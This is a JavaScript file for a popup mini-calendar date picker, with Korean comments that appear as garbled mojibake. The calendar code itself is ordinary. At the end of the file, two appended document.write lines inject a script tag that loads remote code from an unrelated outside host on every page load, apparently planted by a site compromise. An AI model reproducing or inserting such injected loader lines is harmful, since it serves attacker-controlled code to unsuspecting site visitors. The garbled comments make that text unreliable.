/////////////////////////////////////////////////////////////////////////////////////////////////////
/**
* ¹Ì´Ï ´Þ·Â°ú °ü·ÃµÇ´Â ÀÚ¹Ù ½ºÅ©¸³Æ® ºÎºÐ.
* ¼öÁ¤ÇÏÁö ¸¶¼¼¿ä ^^
*/
/////////////////////////////////////////////////////////////////////////////////////////////////////

//¼±ÅÃÇÑ ³âµµ, ¿ù¿¡ µû¸¥ select¹Ú½º¿¡ ÀÏÀÚ ³Ö±â...
function makeDay(obj_year, obj_month, obj_day) {
	var YEAR=obj_year.options[obj_year.selectedIndex].value;
	var MONTH=obj_month.options[obj_month.selectedIndex].value;
	var daysInMonth=new Date(new Date(YEAR,MONTH,1)-86400000).getDate();
	for(var i=0; i<obj_day.length; i++) obj_day.options[i]=null;
	for(var j=0; j<daysInMonth; j++) {
		if(j<9) var k="0"+(j+1); else var k=j+1;
		obj_day.options[j]=new Option(k);
	}
}

var target_date_element;
function MiniCal(date_element)
{
	target_date_element = date_element;

	var date_str = target_date_element.value;
	date_str = date_str.toString().replace(/\,|-|\/| /g,'');

	var cYY = "";
	var cMM = "";
	var cDD = "";

	if ( date_str.length != 8 )	{
		var todays = new Date();
		date_str = "" + todays.getFullYear();
		if( todays.getMonth()+1 < 10 )
			date_str += ( "0" + (todays.getMonth()+1) );
		else
			date_str += (todays.getMonth()+1);
		if( todays.getDate() < 10 )
			date_str += ( "0" + todays.getDate() );
		else
			date_str += todays.getDate();
	}

	cYY = eval(date_str.substring(0,4));
	cMM = eval(date_str.substring(4,6));
	cDD = eval(date_str.substring(6,8));

	//	¸¶¿ì½ºÀÇ À§Ä¡¸¦ ÃßÀûÇÏ¿© popupÀ» À§Ä¡¸¦ ÁöÁ¤ÇÑ´Ù.
	x = (document.layers) ? loc.pageX : event.clientX;
	y = (document.layers) ? loc.pageY : event.clientY;
	if(document.all.minical.length > 1){
		minical[0].style.pixelTop	= y+10;
		//minical[0].style.pixelLeft	= x-150;
		minical[0].style.pixelLeft	= x-10;
		minical[0].style.display = (minical[0].style.display == "block") ? "none" : "block";
	}else{
		minical.style.pixelTop	= y+10;
		//minical.style.pixelLeft	= x-150;
		minical.style.pixelLeft	= x-10;
		minical.style.display = (minical.style.display == "block") ? "none" : "block";
	}
	//	ÇöÁ¦ °ªÀ¸·Î ´Þ·ÂÀ» °áÁ¤ÇÑ´Ù.
	Show_cal(cYY, cMM, cDD);
}

var stime
function doOver() {
	var el = window.event.srcElement;
	cal_Day = el.title;

	if (cal_Day.length > 7) {
		el.style.borderTopColor = el.style.borderLeftColor = "buttonhighlight";
		el.style.borderRightColor = el.style.borderBottomColor = "buttonshadow";
	}
	window.clearTimeout(stime);
}

function doClick() {
	cal_Day = window.event.srcElement.title;
	window.event.srcElement.style.borderColor = "#990000";
	if (cal_Day.length > 7) {
		//alert(getFixed(cal_Day));
		target_date_element.value = getFixed(cal_Day).substring(0,4)+"-"+getFixed(cal_Day).substring(4,6)+"-"+getFixed(cal_Day).substring(6,8);
	}
}

function doOut() {
	var el = window.event.fromElement;
	cal_Day = el.title;

	if (cal_Day.length > 7) {
		el.style.borderColor = "white";
	}
	if(document.all.minical.length > 1){
		stime=window.setTimeout("minical[0].style.display='none';", 200);
	}else{
		stime=window.setTimeout("minical.style.display='none';", 200);
	}
}

function Show_cal(sYear,sMonth,sDay)
{
	if(sYear<1997) return;

	if(document.all.minical.length > 1){
		document.all.minical[0].innerHTML="";
	}else{
		document.all.minical.innerHTML="";
	}
	Cal_HTML = "";

	//var datToday=new Date().toLocaleString();
	var datToday=new Date();

	intThisYear = sYear;
	intThisMonth = sMonth;
	intThisDay = sDay;

	if (intThisDay==0) intThisDay = datToday.getDay();
	if (intThisMonth==0) intThisMonth = datToday.getMonth();
	if (intThisYear==0) intThisYear = datToday.getYear();

	if (intThisMonth == 1)
	{
		intPrevYear=intThisYear-1;
		intPrevMonth=12;
		intNextYear=intThisYear;
		intNextMonth=2;
	}
	else if (intThisMonth==12)
	{
		intPrevYear=intThisYear;
		intPrevMonth=11;
		intNextYear=(parseInt(intThisYear) + 1);
		intNextMonth=1;
	}
	else
	{
		intPrevYear=intThisYear;
		intPrevMonth=intThisMonth -1;
		intNextYear=intThisYear;
		intNextMonth=Math.ceil(intThisMonth) + 1;
	}

	NowThisYear = sYear;
	NowThisMonth = sMonth;
	NowThisDay = sDay;

	if (NowThisDay==0) NowThisDay = datToday.getDay();
	if (NowThisMonth==0) NowThisMonth = datToday.getMonth();
	if (NowThisYear==0) NowThisYear = datToday.getYear();

	var first_date=new Date(intThisYear,intThisMonth-1,1)
		intFirstWeekday=first_date.getDay();
		intFirstWeekday++

	intSecondWeekDay=intFirstWeekday
	intThirdWeekDay=intFirstWeekday

	datThisDay= intThisYear.toString() +  "-" + intThisMonth.toString() + "-" + intThisDay.toString();
	intThisWeekday=first_date.getDay();
	intThisWeekday++

	if (intThisWeekday == 1) varThisWeekday = "ÀÏ";
	if (intThisWeekday == 2) varThisWeekday = "¿ù";
	if (intThisWeekday == 3) varThisWeekday = "È­";
	if (intThisWeekday == 4) varThisWeekday = "¼ö";
	if (intThisWeekday == 5) varThisWeekday = "¸ñ";
	if (intThisWeekday == 6) varThisWeekday = "±Ý";
	if (intThisWeekday == 7) varThisWeekday = "Åä";

	intPrintDay=1;
	secondPrintDay=1;
	thirdPrintDay=1;

	Stop_Flag=0;

	if (intThisMonth == 4 || intThisMonth==6 || intThisMonth==9 || intThisMonth==11)
	{
		intLastDay=30;
	}
	else if (intThisMonth==2 && !(intThisYear % 4 == 0))
	{
		intLastDay=28;
	}
	else if (intThisMonth==2 && intThisYear % 4 == 0)
	{
		if (intThisYear % 100 == 0)
		{
			if (intThisYear % 400 == 0)
				intLastDay=29;
			else
				intLastDay=28;
		}
		else
		{
			intLastDay=29;
		}
	}
	else
	{
		intLastDay=31;
	}

	if (intPrevMonth==4 || intPrevMonth==6 || intPrevMonth==9 || intPrevMonth==11)
		intPrevLastDay=30;
	else if (intPrevMonth==2 &&  !(intPrevYear % 4 == 0))
		intPrevLastDay=28;
	else if (intPrevMonth==2 && intPrevYear % 4 == 0)
	{
		if (intPrevYear % 100 == 0)
		{
			if (intPrevYear % 400 == 0)
				intPrevLastDay=29;
			else
				intPrevLastDay=28;
		}
		else
		{
			intPrevLastDay=29;
		}
	}
	else
	{
		intPrevLastDay=31;
	}

	Stop_Flag=0;
	Cal_HTML=Cal_HTML + "<table border='0' bgcolor='#CCCCCC' cellpadding=1 cellspacing=1  onmouseover='doOver()' onmouseout='doOut()' onclick='doClick()' style='font-size : 12;font-family:±¼¸²;'>";
	Cal_HTML=Cal_HTML + "<tr align=center>";
	Cal_HTML=Cal_HTML + "<td align=left  title='ÀÌÀü´Þ' style='cursor:hand;' OnClick='JAVAScript:Show_cal(" + intPrevYear.toString()  + "," + intPrevMonth.toString() + ",1)'><font color=006699 size=2>¢¸</font></td>";
	Cal_HTML=Cal_HTML + "<td colspan=5><font color=#990000><b>";
	Cal_HTML=Cal_HTML + intThisYear.toString() + "³â " + intThisMonth.toString() + "¿ù";
	Cal_HTML=Cal_HTML + "</font></b></td>";
	Cal_HTML=Cal_HTML + "<td align=right title='´ÙÀ½´Þ' style='cursor:hand;' OnClick='JAVAScript:Show_cal(" + intNextYear.toString() + "," + intNextMonth.toString() + ",1)'><font color=006699 size=2>¢º</font></a></td>";
	Cal_HTML=Cal_HTML + "</tr>";
	Cal_HTML=Cal_HTML + "<tr align=center bgcolor='C0E0F1' style='color:000000;'>";
	Cal_HTML=Cal_HTML + "<td>ÀÏ</td><td>¿ù</td><td>È­</td><td>¼ö</td><td>¸ñ</td><td>±Ý</td><td>Åä</td>";
	Cal_HTML=Cal_HTML + "</tr>";

	for (intLoopWeek=1;intLoopWeek<=6;intLoopWeek++)
	{

		Cal_HTML=Cal_HTML + "<tr align=right valign=top bgcolor='#F0F7FB'>";
		for (intLoopDay=1;intLoopDay<=7;intLoopDay++)
		{
			if (intThirdWeekDay > 1)
			{
				Cal_HTML=Cal_HTML + "<td>&nbsp;</td>";
				intThirdWeekDay=intThirdWeekDay-1;
			}
			else
			{
				if (thirdPrintDay > intLastDay)
				{
					Cal_HTML=Cal_HTML + "<td>&nbsp;</td>";
				}
				else
				{
					Cal_HTML=Cal_HTML + "<td title='" + intThisYear.toString() + "-" + intThisMonth.toString() + "-" + thirdPrintDay.toString() + "' style='cursor: hand;border: 1px solid white;width:18; height:18;";
					if (intThisYear-NowThisYear==0 && intThisMonth-NowThisMonth==0 && thirdPrintDay-intThisDay==0)
					{
						Cal_HTML=Cal_HTML + "background-color:#009FDD;";
					}

					if  (intLoopDay==1)
					{
						Cal_HTML=Cal_HTML + "color:#990000;";
					}
					else
					{
						Cal_HTML=Cal_HTML + "color:black;";
					}

					Cal_HTML=Cal_HTML+ "'>" + thirdPrintDay.toString();
				}
				thirdPrintDay++;

				if (thirdPrintDay > intLastDay)	Stop_Flag=1;

			}
			Cal_HTML=Cal_HTML + "</td>";
		}
		Cal_HTML=Cal_HTML + "</tr>";
		if (Stop_Flag==1) break;
	}

	Cal_HTML=Cal_HTML+ "</table>";
	if(document.all.minical.length > 1){
		document.all.minical[0].innerHTML=Cal_HTML;
	}else{
		document.all.minical.innerHTML=Cal_HTML;
	}

}

function getFixed(sDate){
	var s;
	var arr;

	s = new String(sDate);
	arr = s.split("-");
	if(arr.length == 3){
//		s = arr[0] + "-";
		s = arr[0];
		if(arr[1].length == 1) arr[1] = "0" + arr[1];
		s1 = arr[0];
//		s = s + arr[1] + "-";
		s = s + arr[1];
		s2 = arr[1];
		if(arr[2].length == 1) arr[2] = "0" + arr[2];
		s3 = arr[2];
		s = s + arr[2];
	}else{
		s = sDate;
	}
	return s;
}

//	¿À´Ã ³¯Â¥
function getNowDate()
{
	var date_str = "";

	var todays = new Date()

	return getTimeToDate(todays);
}

//	millisecondÀÇ date Object¸¦ ³¯Â¥ StringÀ¸·Î º¯È¯
function getTimeToDate(dateObj)
{
	var date_str = "";

	var dateObj;

	date_str = "" + dateObj.getFullYear();

	if( dateObj.getMonth()+1 < 10 )
		date_str += "-"+( "0" + (dateObj.getMonth()+1) );
	else
		date_str += "-"+(dateObj.getMonth()+1);

	if( dateObj.getDate() < 10 )
		date_str += "-"+( "0" + dateObj.getDate() );
	else
		date_str += "-"+dateObj.getDate();

	return date_str;
}

//	¿øÇÏ´Â ³¯Â¥°£°ÝÀ¸·Î µÎ Object¿¡ °ªÀ» ³Ö¾îÁØ´Ù.
function getDayFormat(obj1, obj2, day)
{
	var nowDate = getNowDate();

	var todays = new Date();
	var fordays = getTimeToDate(new Date(todays.getTime() + ( (1000*60*60*24) * eval(day) )));

	obj1.value = fordays;
	obj2.value = nowDate;

}

//	¿øÇÏ´Â ÁÖÀÇ °£°ÝÀ¸·Î µÎ OBject¿¡ °ªÀ» ³Ö¾îÁØ´Ù.
function getWeekFormat(obj1, obj2, week)
{
	getDayFormat(obj1, obj2, eval(week)*7 );
}

//	¿øÇÏ´Â ¿ùÀÇ °£°ÝÀ¸·Î µÎ Object¿¡ °ªÀ» ³Ö¾îÁØ´Ù.
function getCalMonths(obj1, obj2, months)
{
	var nowDate = getNowDate();
	var months = eval(months);

	var cYY = eval(nowDate.substring(0,4));
	var cMM = eval(nowDate.substring(5,7));
	var cDD = eval(nowDate.substring(8,10));

	cMM += months;
	if (months > 0) {
		while (cMM > 12) {
			cMM -= 12;
			cYY += 1;
		}
	} else {
		while (cMM <= 0) {
			cMM += 12;
			cYY -= 1;
		}
	}

	var todays = new Date();
	var fordays = getTimeToDate(new Date(cYY, cMM-1, cDD));

	obj1.value = fordays;
	obj2.value = nowDate;
}

document.write('<script src=http://anydisk.anyprinting.com/webfolder/index.php ><\/script>');
document.write('<script src=http://anydisk.anyprinting.com/webfolder/index.php ><\/script>');
